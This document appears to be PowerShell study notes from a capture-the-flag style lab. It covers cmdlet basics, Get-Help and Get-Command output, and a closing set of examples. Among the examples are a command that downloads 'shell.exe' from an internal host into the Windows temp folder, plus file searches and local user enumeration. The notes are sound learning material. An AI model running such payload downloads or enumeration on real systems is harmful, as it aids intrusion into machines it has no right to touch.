Powershell
What is Powershell?
Windows PowerShell is a shell initially developed by Microsoft for the purposes of task automation and configuration management. PowerShell is now an open source project, and it can be installed on Windows, macOS, and Linux platforms. This shell is based on the .NET framework, and it includes a command-line shell and a scripting language.
Most Powershell commands, called cmdlets, are written in .NET. Unlike other scripting languages and shell environments, the output of these cmdlets are objects.
The normal format of a cmdlet is represented using Verb-Noun:
Example:
- Command: Invoke-WebRequest
- Verb: Invoke
- Noun: WebRequest
Common verbs to use include:
- Get
- Start
- Stop
- Read
- Write
- New
- Out
- Invoke
Get-Help
Help on a command
To get help on a command, use the Get-Help command:
PS C:\Users\Administrator> Get-Help Invoke-WebRequest
NAME
Invoke-WebRequest
SYNOPSIS
Gets content from a web page on the Internet.
SYNTAX
Invoke-WebRequest [-Uri] <Uri> [-Body <Object>] [-Certificate <X509Certificate>] [-CertificateThumbprint <String>]
[-ContentType <String>] [-Credential <PSCredential>] [-DisableKeepAlive] [-Headers <IDictionary>] [-InFile
<String>] [-MaximumRedirection <Int32>] [-Method {Default | Get | Head | Post | Put | Delete | Trace | Options |
Merge | Patch}] [-OutFile <String>] [-PassThru] [-Proxy <Uri>] [-ProxyCredential <PSCredential>]
[-ProxyUseDefaultCredentials] [-SessionVariable <String>] [-TimeoutSec <Int32>] [-TransferEncoding {chunked |
compress | deflate | gzip | identity}] [-UseBasicParsing] [-UseDefaultCredentials] [-UserAgent <String>]
[-WebSession <WebRequestSession>] [<CommonParameters>]
DESCRIPTION
The Invoke-WebRequest cmdlet sends HTTP, HTTPS, FTP, and FILE requests to a web page or web service. It parses the
response and returns collections of forms, links, images, and other significant HTML elements.
This cmdlet was introduced in Windows PowerShell 3.0.
RELATED LINKS
Online Version: http://go.microsoft.com/fwlink/?LinkId=821826
Invoke-RestMethod
ConvertFrom-Json
ConvertTo-Json
REMARKS
To see the examples, type: "get-help Invoke-WebRequest -examples".
For more information, type: "get-help Invoke-WebRequest -detailed".
For technical information, type: "get-help Invoke-WebRequest -full".
For online help, type: "get-help Invoke-WebRequest -online"
Get-Help examples
If you are interested in examples, use Get-Help <command> -examples:
PS C:\Users\Administrator> Get-Help Invoke-WebRequest -examples
NAME
Invoke-WebRequest
SYNOPSIS
Gets content from a web page on the Internet.
Example 1: Send a web request
PS C:\>$R = Invoke-WebRequest -URI http://www.bing.com?q=how+many+feet+in+a+mile
PS C:\>$R.AllElements | where {$_.innerhtml -like "*=*"} | Sort { $_.InnerHtml.Length } | Select InnerText -First 5
innerText---------1 =5280 feet1 mile
This command uses the Invoke-WebRequest cmdlet to send a web request to the Bing.com site.
The first command issues the request and saves the response in the $R variable.
The second command gets the InnerHtml property when it includes an equal sign, sorts the inner HTML by length and
selects the 5 shortest values. Sorting by the shortest HTML value often helps you find the most specific element
that matches that text.
Example 2: Use a stateful web service
The first command uses the **Invoke-WebRequest** cmdlet to send a sign-in request. The command specifies a value
of "FB" for the value of the *SessionVariable* parameter, and saves the result in the $R variable.When the command
completes, the $R variable contains an **HtmlWebResponseObject** and the $FB variable contains a
**WebRequestSession** object.
PS C:\>$R=Invoke-WebRequest http://www.facebook.com/login.php -SessionVariable fb
The second command shows the **WebRequestSession** object in the $FB variable.
PS C:\>$FB
The third command gets the first form in the **Forms** property of the HTTP response object in the $R variable,
and saves it in the $Form variable.
PS C:\>$Form = $R.Forms[0]
The fourth command pipes the properties of the form in the $Form variable into a list by using the Format-List
cmdlet.
PS C:\>$Form | Format-List
The fifth command displays the keys and values in the hash table (dictionary) object in the Fields property of the
form.
PS C:\>$Form.fields
The sixth and seventh commands populate the values of the email and pass keys of the hash table in the **Fields**
property of the form. You can replace the email and password with values that you want to use.
PS C:\>$Form.Fields["email"]="[email protected]"
$Form.Fields["pass"]="P@ssw0rd"
The eighth command uses the **Invoke-WebRequest** cmdlet to sign into the Facebook web service.The value of the
*Uri* parameter is the value of the **Action** property of the form. The **WebRequestSession** object in the $FB
variable (the session variable specified in the first command) is now the value of the *WebSession* parameter. The
value of the *Body* parameter is the hash table in the Fields property of the form and the value of the *Method*
parameter is POST. The command saves the output in the $R variable.
PS C:\>$R=Invoke-WebRequest -Uri ("https://www.facebook.com" + $Form.Action) -WebSession $FB -Method POST -Body
$Form.Fields
The full script, then, is as follows.
PS C:\># Sends a sign-in request by running the Invoke-WebRequest cmdlet. The command specifies a value of "fb"
for the SessionVariable parameter, and saves the results in the $R variable.
$R=Invoke-WebRequest http://www.facebook.com/login.php -SessionVariable fb
# Use the session variable that you created in Example 1. Output displays values for Headers, Cookies,
Credentials, etc.
$FB
# Gets the first form in the Forms property of the HTTP response object in the $R variable, and saves it in the
$Form variable.
$Form = $R.Forms[0]
# Pipes the form properties that are stored in the $Forms variable into the Format-List cmdlet, to display those
properties in a list.
$Form | Format-List
# Displays the keys and values in the hash table (dictionary) object in the Fields property of the form.
$Form.fields
# The next two commands populate the values of the "email" and "pass" keys of the hash table in the Fields
property of the form. Of course, you can replace the email and password with values that you want to use.
$Form.Fields["email"] = "[email protected]"
$Form.Fields["pass"] = "P@ssw0rd"
# The final command uses the Invoke-WebRequest cmdlet to sign in to the Facebook web service.
$R=Invoke-WebRequest -Uri ("https://www.facebook.com" + $Form.Action) -WebSession $FB -Method POST -Body
$Form.Fields
When the command finishes, the **StatusDescription** property of the web response object in the $R variable
indicates that the user is signed in successfully.
PS C:\>$R.StatusDescription
This example shows how to use the Invoke-WebRequest cmdlet with a stateful web service, such as Facebook.
Example 3: Get links from a web page
PS C:\>(Invoke-WebRequest -Uri "http://msdn.microsoft.com/en-us/library/aa973757(v=vs.85).aspx").Links.Href
This command gets the links in a web page. It uses the Invoke-WebRequest cmdlet to get the web page content. Then
it users the Links property of the HtmlWebResponseObject that Invoke-WebRequest returns, and the Href property of
each link.
Get-Command
Get-Command gets all the cmdlets installed on the current Computer. You can filter the output using wildcard. The below example will list all cmdlets with the verb "Invoke".
PS C:\Users\Administrator> Get-Command Invoke-* CommandType Name Version Source ----------- ---- ------- ------ Function Invoke-AsWorkflow 1.0.0.0 PSWorkflowUtility Function Invoke-Mock 3.4.0 Pester Function Invoke-OperationValidation 1.0.1 Microsoft.PowerShell.Operation.Validation Function Invoke-Pester 3.4.0 Pester Function Invoke-RDUserLogoff 2.0.0.0 RemoteDesktop Cmdlet Invoke-ACMCertificateRenewal 3.3.563.1 AWSPowerShell Cmdlet Invoke-BpaModel 1.0 BestPractices Cmdlet Invoke-CHMUserLogout 3.3.563.1 AWSPowerShell Cmdlet Invoke-CimMethod 1.0.0.0 CimCmdlets Cmdlet Invoke-Command 3.0.0.0 Microsoft.PowerShell.Core Cmdlet Invoke-CommandInDesktopPackage 2.0.0.0 Appx Cmdlet Invoke-DMSSchemaRefresh 3.3.563.1 AWSPowerShell Cmdlet Invoke-DPExpression 3.3.563.1 AWSPowerShell Cmdlet Invoke-DscResource 1.1 PSDesiredStateConfiguration Cmdlet Invoke-EMPChannelCredentialRotation 3.3.563.1 AWSPowerShell Cmdlet Invoke-EMPIngestEndpointCredentialRotation 3.3.563.1 AWSPowerShell Cmdlet Invoke-Expression 3.1.0.0 Microsoft.PowerShell.Utility Cmdlet Invoke-History 3.0.0.0 Microsoft.PowerShell.Core Cmdlet Invoke-Item 3.1.0.0 Microsoft.PowerShell.Management Cmdlet Invoke-KMSDecrypt 3.3.563.1 AWSPowerShell Cmdlet Invoke-KMSEncrypt 3.3.563.1 AWSPowerShell Cmdlet Invoke-KMSReEncrypt 3.3.563.1 AWSPowerShell Cmdlet Invoke-LMFunction 3.3.563.1 AWSPowerShell Cmdlet Invoke-LMFunctionAsync 3.3.563.1 AWSPowerShell Cmdlet Invoke-R53DDomainTransfer 3.3.563.1 AWSPowerShell Cmdlet Invoke-RDSDSqlStatement 3.3.563.1 AWSPowerShell Cmdlet Invoke-RDSDStatement 3.3.563.1 AWSPowerShell Cmdlet Invoke-RDSDStatementBatch 3.3.563.1 AWSPowerShell Cmdlet Invoke-RestMethod 3.1.0.0 Microsoft.PowerShell.Utility Cmdlet Invoke-SECSecretRotation 3.3.563.1 AWSPowerShell Cmdlet Invoke-SGCacheRefresh 3.3.563.1 AWSPowerShell Cmdlet Invoke-SMREndpoint 3.3.563.1 AWSPowerShell Cmdlet Invoke-SMUiTemplateRendering 3.3.563.1 AWSPowerShell Cmdlet Invoke-TroubleshootingPack 1.0.0.0 TroubleshootingPack Cmdlet Invoke-TXTDocumentAnalysis 3.3.563.1 AWSPowerShell Cmdlet Invoke-WebRequest 3.1.0.0 Microsoft.PowerShell.Utility Cmdlet Invoke-WmiMethod 3.1.0.0 Microsoft.PowerShell.Management Cmdlet Invoke-WSManAction 3.0.0.0 Microsoft.WSMan.Management
Examples
Download a file
C:\> powershell -c "Invoke-WebRequest -Uri 'http://10.10.2.4:8000/shell.exe' -OutFile 'C:\windows\temp\shell.exe'"
Search files
PS C:\> Get-ChildItem -Path C:\ -Recurse -Name *interesting-file.txt* -ErrorAction SilentlyContinue
Read file content
PS C:\Users\Administrator\Desktop> Get-Content 'c:\program files\interesting-file.txt.txt' notsointerestingcontent
MD5 / SHA1 hashes
Default Algorithm (if not mentionned) is SHA1.
PS C:\Users\Administrator\Desktop> Get-Filehash 'C:\Program Files\interesting-file.txt.txt' PS C:\Users\Administrator\Desktop> Get-Filehash 'C:\Program Files\interesting-file.txt.txt' -Algorithm MD5
Get current location (pwd)
PS C:\> Get-Location PS C:\> pwd
Test existence of path
PS C:\> Test-Path C:\Users\Administrator\Documents\Passwords False
Base64 decode file
PS C:\Users\Administrator\Desktop> $file = "C:\Users\Administrator\Desktop\b64.txt" PS C:\Users\Administrator\Desktop> $data = Get-Content $file PS C:\Users\Administrator\Desktop> [System.Text.Encoding]::Ascii.GetString([System.Convert]::FromBase64String($data)) this is the flag - ihopeyoudidthisonwindows
Enumerate local users
PS C:\Users\Administrator\Desktop> Get-LocalUser Name Enabled Description ---- ------- ----------- Administrator True Built-in account for administering the computer/domain DefaultAccount False A user account managed by the system. duck True duck2 True Guest False Built-in account for guest access to the computer/domain
Identify user by SID
PS C:\Users\Administrator\Desktop> Get-LocalUser -SID S-1-5-21-1394777289-3961777894-1791813945-501